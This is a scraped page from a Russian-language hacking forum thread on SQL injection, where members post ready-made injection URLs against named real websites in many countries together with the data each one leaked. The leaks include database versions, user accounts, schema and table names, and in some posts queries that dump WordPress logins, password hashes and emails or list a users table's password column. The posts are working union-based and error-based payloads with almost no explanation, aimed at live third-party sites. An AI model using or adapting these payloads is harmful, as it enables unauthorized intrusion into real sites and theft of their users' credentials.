SQL Инъекции

Discussion in 'Уязвимости' started by m0nzt3r, 4 Jul 2006.

Thread Status:
Not open for further replies.
  1. [aywo]

    [aywo] Elder - Старейшина

    Joined:
    1 Feb 2007
    Messages:
    89
    Likes Received:
    55
    Reputations:
    5
    http://nerjaveem.ru/index.php?page=-1+union+select+concat_ws(0x3A,%20database(),%20version(),%20user())/*&foto=2


    wwwnerjaveemru
    4.1.22-log
    nerjavee@localhost
     
  2. AlexSatter

    AlexSatter Member

    Joined:
    29 Jan 2009
    Messages:
    303
    Likes Received:
    92
    Reputations:
    33
    Code:
    http://www.n-oil.by/lubrication/torg.php?id=6+and+substring(version(),1,1)=5
    Code:
    http://www.bg-kniga.ru/bgkniga.php?id=-5+union+select+concat_ws(0x3a,version(),user(),database()),2
    5.0.70-log:dbu_ansimov_1@localhost:bgkn
     
    #9842 AlexSatter, 16 Jun 2009
    Last edited: 16 Jun 2009
  3. geforse

    geforse Elder - Старейшина

    Joined:
    2 Mar 2008
    Messages:
    617
    Likes Received:
    290
    Reputations:
    1
    [​IMG]

    www.sevelina.com ([​IMG])

    Code:
    http://www.sevelina.com/wp-content/plugins/photoracer/viewimg.php?id=-1+union+select+0,1,2,3,4,group_concat(user_login,0x3a,user_pass,0x3a,user_email),6,7,8+from+s_users+limit+0,1--
     
    #9843 geforse, 16 Jun 2009
    Last edited: 16 Jun 2009
    1 person likes this.
  4. AlexSatter

    AlexSatter Member

    Joined:
    29 Jan 2009
    Messages:
    303
    Likes Received:
    92
    Reputations:
    33
    Code:
    http://www.kech.pl/literatura.php?id=-6+union+select+1,concat_ws(0x3a,version(),user(),database()),3,4,5,6,7,8,9
    5.0.66a-log:kech@localhost:kech

    Code:
    http://www.exkola.com.br/scripts/literatura.php?id=-457+union+select+1,concat_ws(0x3a,version(),user(),database()),3,4,5,6,7
    4.1.25-Debian_mt1-log:[email protected]:db19180_exkola_prod

    Code:
    http://www.gchk.cz/literatura.php?ID=-33+union+select+1,concat_ws(0x3a,version(),user(),database()),3,4,5,6,7,8,9,10
    4.0.31-20070605_Debian-7-log:[email protected]:g

    Code:
    http://www.gawith.nazwa.pl/literatura.php?id=3+and+substring(version(),1,1)=5
     
    #9844 AlexSatter, 16 Jun 2009
    Last edited: 16 Jun 2009
  5. Gorev

    Gorev Level 8

    Joined:
    31 Mar 2006
    Messages:
    2,551
    Likes Received:
    1,259
    Reputations:
    274
    http://www.auscraftnet.com.au/directory/listing.php?cat_id=4&id=-718+UNION+SELECT+1,concat_ws(0x3a,version(),database(),user(),@@version_compile_os),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60,61,62


    Database Version: 4.0.25-standard
    Database name: auscraft_list
    User name: auscraft_acn04@localhost
    Os : pc-linux-gnu
     
  6. AlexSatter

    AlexSatter Member

    Joined:
    29 Jan 2009
    Messages:
    303
    Likes Received:
    92
    Reputations:
    33
    Code:
    http://www.cyberpunkswebsite.com/PPP/pit.php?id=3195+and+substring(version(),1,1)=4
    Code:
    http://www.laborresearch.org/print.php?id=391+and+substring(version(),1,1)=3
    Code:
    http://www.media.tas.gov.au/print.php?id=21499+and+substring(version(),1,1)=3
    Code:
    http://www.compudrug.com/print.php?id=8+and+substring(version(),1,1)=3
    везет мне на третий мускуль сегодня

    Code:
    http://russian.kiev.ua/print.php?id=11603795+and+substring(version(),1,1)=5
    Code:
    http://www.npaact.org.au/print.php?id=-87+union+select+1,2,unhex(hex(concat_ws(0x3a,version(),user(),database()))),4,5,6,7,8/*
    4.1.11-Debian_4sarge7:npaact@localhost:npaact

    Code:
    http://www.promotecraft.com.au/print.php?id=-121+union+select+1,2,3,concat_ws(0x3a,version(),user(),database()),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23/*
    5.0.45:deb2361@localhost:promotecraft_com_au_-_ep
     
    #9846 AlexSatter, 16 Jun 2009
    Last edited: 16 Jun 2009
  7. Gorev

    Gorev Level 8

    Joined:
    31 Mar 2006
    Messages:
    2,551
    Likes Received:
    1,259
    Reputations:
    274
    http://www.alexandriarealestate.com.au/properties.php?proDetails=3&property_ID=-292+UNION+SELECT+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,concat_ws(0x3a,version(),database(),user(),@@version_compile_os),38


    Database Version: 4.1.22-standard-log
    Database name: alexandriarealestate
    User name: alexandria@localhost
    OS : pc-linux-gnu
     
  8. mailbrush

    mailbrush Well-Known Member

    Joined:
    24 Jun 2008
    Messages:
    1,997
    Likes Received:
    996
    Reputations:
    155
    Code:
    http://www.cardcontrol.com/web_DE/Produkte.php?id=-1+union+select+1,2,concat_ws(0x3a,user(),database(),version()),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23/*
    Code:
    dbo170234670@localhost:db170234670:4.0.27-standard
     
  9. en4cer

    en4cer Elder - Старейшина

    Joined:
    10 Feb 2006
    Messages:
    80
    Likes Received:
    5
    Reputations:
    0
    Code:
    http://maps.cs-bg.info/download.php?id=-1+UNION+SELECT+1,2,3,4,concat_ws(0x3a,version(),database(),user(),@@version_compile_os),6,7,8,9,10/*&db=maps16&action=download
     
  10. Rednoise

    Rednoise New Member

    Joined:
    28 Mar 2007
    Messages:
    29
    Likes Received:
    4
    Reputations:
    0
    nouiit.ru - институт информационных технологий

    Code:
    http://www.nouiit.ru/index.php?i=10&id=7'+UNION+SELECT+1,2,3,CONCAT(0x7873716C696E6A626567696E,Version(),0x2F2A2A2F,Database(),0x2F2A2A2F,User(),0x7873716C696E6A656E64),5,6,7,8,9,10,11+LIMIT+1,1/*
    
    Database Version: 4.1.22-log
    Database name: db_lira_2
    User name: [email protected]


    tvoisex.ru

    Code:
    http://www.tvoisex.ru/read.php?i=16'+UNION+SELECT+CONCAT(0x7873716C696E6A626567696E,Version(),0x2F2A2A2F,Database(),0x2F2A2A2F,User(),0x7873716C696E6A656E64),2,3,4,5,6,7,8,9,10,11,12,13+LIMIT+1,1/*
    


    Database Version: 4.1.21
    Database name: badvertd061_db2
    User name: badvertd061@localhost




    artgene.co.uk

    Code:
    http://www.artgene.co.uk/page.php?i=-140'+union+select+1,2,3,4,5,6,7,8,concat_ws(0x3a,user(),database(),version()),10/*
    

    Database Version: 5.0.45
    Database name: pbsportal
    User name: [email protected]
     
    #9850 Rednoise, 16 Jun 2009
    Last edited: 16 Jun 2009
    1 person likes this.
  11. AFoST

    AFoST Elder - Старейшина

    Joined:
    28 May 2007
    Messages:
    588
    Likes Received:
    485
    Reputations:
    176
    multihost.ru
    PHP:
    multi_mx@localhost multi_mx 5.0.67-community-log / /var/lib/mysql/ /tmpredhat-linux-gnu
     
    1 person likes this.
  12. Rednoise

    Rednoise New Member

    Joined:
    28 Mar 2007
    Messages:
    29
    Likes Received:
    4
    Reputations:
    0
    trushop.ru

    Code:
    http://www.trushop.ru/item.php?i=120'+union+select+1,2,concat_ws(0x3a,user(),database(),version()),4,5,6,7,8,9,10,11,12,13/*
    

    Database Version: 5.0.32-Debian_7etch8-log
    Database name: z101905_trus
    User name: [email protected]
     
    1 person likes this.
  13. RulleR

    RulleR Elder - Старейшина

    Joined:
    12 Jun 2008
    Messages:
    166
    Likes Received:
    439
    Reputations:
    313
    mssql
    [PR 6]
    Code:
    http://www.wehirealiens.com/employer/index.asp?id=7712+or+1=@@version--
    ===================
    [PR 3]
    Code:
    http://www.notodoestavisto.com/videos/index.asp?id=1494&loc=6+or+1=@@version--
    Code:
    http://www.notodoestavisto.com/videos/index.asp?id=1494&loc=6+or+1=(select+system_user)--
    system_user:qdx018
    Code:
    http://www.notodoestavisto.com/videos/index.asp?id=1494&loc=6+or+1=(select+top+1+table_name+from+information_schema.tables)--
    http://www.notodoestavisto.com/videos/index.asp?id=1494&loc=6+or+1=(select+top+1+table_name+from+information_schema.tables+where+table_name+not+in+(%27PedidosTienda%27))--
    http://www.notodoestavisto.com/videos/index.asp?id=1494&loc=6+or+1=(select+top+1+table_name+from+information_schema.tables+where+table_name+not+in+(%27PedidosTienda%27,%27Peliculas%27,%27GuiaTallas%27,%27PersonajesAnimados%27,%27Plataformas%27,%27ItemPedidoTienda%27,%27LinksRelacionados%27,%27Webs%27,%27MensajesPanelControlTiendas%27,%27MensajesSugerir%27,%27PreguntasRegistro%27,%27Noticias%27,%27Productos%27,%27ProductosActualidad%27,%27NoticiasBoletin%27,%27ProductosActualidad1%27,%27VideosRedSocial%27,%27NoticiasMerchandising%27,%27ProductosColaboradores1%27,%27NumeroCapturasPorDiaErroresHttp%27,%27ComentariosBlog%27,%27NumeroVendidos%27,%27NumeroVendidosGenerado%27,%27AmpliacionesCorreccionesRedSocial%27,%27ProductosTiendas%27,%27Programas%27,%27Proveedores%27,%27OfertasTiendas%27,%27ReservaGanadores%27,%27OpinionCliente%27,%27Series%27,%27OpinionesProductos%27,%27StockMinimo%27,%27OpinionPagina%27,%27Paises%27,%27Actores%27,%27PalabrasTabuOpinionProductos%27,%27Actrices%27,%27Tallas%27,%27PreciosAntiguosProductos%27,%27TambienComprado%27,%27Tarifas%27,%27PreciosLienzos%27,%27AnalisisProductos%27,%27TarifasCorreos%27,%27Anuncios%27,%27AmigosRedSocial%27,%27TarifasCorreosInternacionales%27,%27PreciosMarcos%27,%27AutoresComics%27,%27TarifasInternacionales%27,%27PreciosNuevosProductos%27,%27TipoLugaresBlog%27,%27PreciosNumeroFotos%27,%27AvisarUsuariosProductosNuevos%27,%27TipoProductos%27,%27Banners%27,%27TipoProductosWeb%27,%27PreferenciasPanelControl%27,%27BannersBoletin%27))--
    ===================
    [PR 0]
    Code:
    http://www.planetpeace.ws/index.asp?id=11+or+1=@@version--
    Code:
    http://www.planetpeace.ws/index.asp?id=11+or+1=(select+system_user)--
    system_user:PPContent
    Code:
    http://www.planetpeace.ws/index.asp?id=11+or+1=(select+top+1+table_name+from+information_schema.tables)--
     
    2 people like this.
  14. mailbrush

    mailbrush Well-Known Member

    Joined:
    24 Jun 2008
    Messages:
    1,997
    Likes Received:
    996
    Reputations:
    155
    Code:
    http://times.ua/search/results/?keyword=-1'+union+select+1,2,3,concat_ws(0x3a,user(),database(),version())/*
    Code:
    madest@localhost:daytop:5.0.45-log
    Дальше не рискнул...
     
  15. Adm1n4eG

    Adm1n4eG Member

    Joined:
    27 Mar 2009
    Messages:
    24
    Likes Received:
    13
    Reputations:
    6
    www.tyumen.ru

    Code:
    http://www.tyumen.ru/?sectionid=129&catid=0&page=1&docid=799994+union+select+0,0,0,co  ncat_ws(0x3a,user(),database(),version()),0,0,0  ,0,0,0--
    Code:
    [email protected]:tyumen_site:5.0.51a-15-log
     
    1 person likes this.
  16. HAXTA4OK

    HAXTA4OK Super Moderator
    Staff Member

    Joined:
    15 Mar 2009
    Messages:
    946
    Likes Received:
    838
    Reputations:
    605
    http://www.kcc.edu.np/front/newsdetail.php?id=1'+union+select+1,concat_ws(0x3a,version(),database(),user()),3,4,5,6,7%23

    5.0.51b-community-nt:kcc:[email protected]

    http://www.kcc.edu.np/front/newsdetail.php?id=1'+union+select+1,group_concat(column_name),3,4,5,6,7+from+information_schema.columns+where+table_name=0x75736572%23

    id,user_name,passwd,address,email,full_name,contact_no
     
    _________________________
  17. $n@ke

    $n@ke Elder - Старейшина

    Joined:
    18 Sep 2006
    Messages:
    696
    Likes Received:
    404
    Reputations:
    134
    ветка 4 (((
     
    1 person likes this.
  18. AlexSatter

    AlexSatter Member

    Joined:
    29 Jan 2009
    Messages:
    303
    Likes Received:
    92
    Reputations:
    33
    Code:
    http://www.tonybishop.com/ps.php?id=1+and+substring(version(),1,1)=5
    Code:
    http://www.faitalpro.com/products/schede/ps.php?id=-101030100+union+select+1,2,concat_ws(0x3a,version(),user(),database()),4,5,6,7
    5.0.32-Debian_7etch6-log:faitalpro@localhost:faitalpro
     
  19. HAXTA4OK

    HAXTA4OK Super Moderator
    Staff Member

    Joined:
    15 Mar 2009
    Messages:
    946
    Likes Received:
    838
    Reputations:
    605
    http://www.shine.edu.np/news_and_notice.php?id=-1'+union+select+1,concat_ws(0x3a,version(),database(),user()),3,4,5+--+

    5.0.77-community:shineed_db:shineed_db@localhost

    tables: countries,notice,partner_institutions,admin

    ####################################

    http://www.united.edu.np/academy/notice.php?id=-1+union+select+1,concat_Ws(0x3a,version(),user(),database()),3,4--

    5.0.77-community:unitede_uniteddb@localhost:unitede_unitededudb
     
    _________________________
    #9859 HAXTA4OK, 17 Jun 2009
    Last edited: 17 Jun 2009
  20. udman

    udman Elder - Старейшина

    Joined:
    21 Apr 2009
    Messages:
    224
    Likes Received:
    105
    Reputations:
    25
    hameleon@localhost
    5.0.67-percona-highperf-b7-log
    hameleon_metal
     
    1 person likes this.
Thread Status:
Not open for further replies.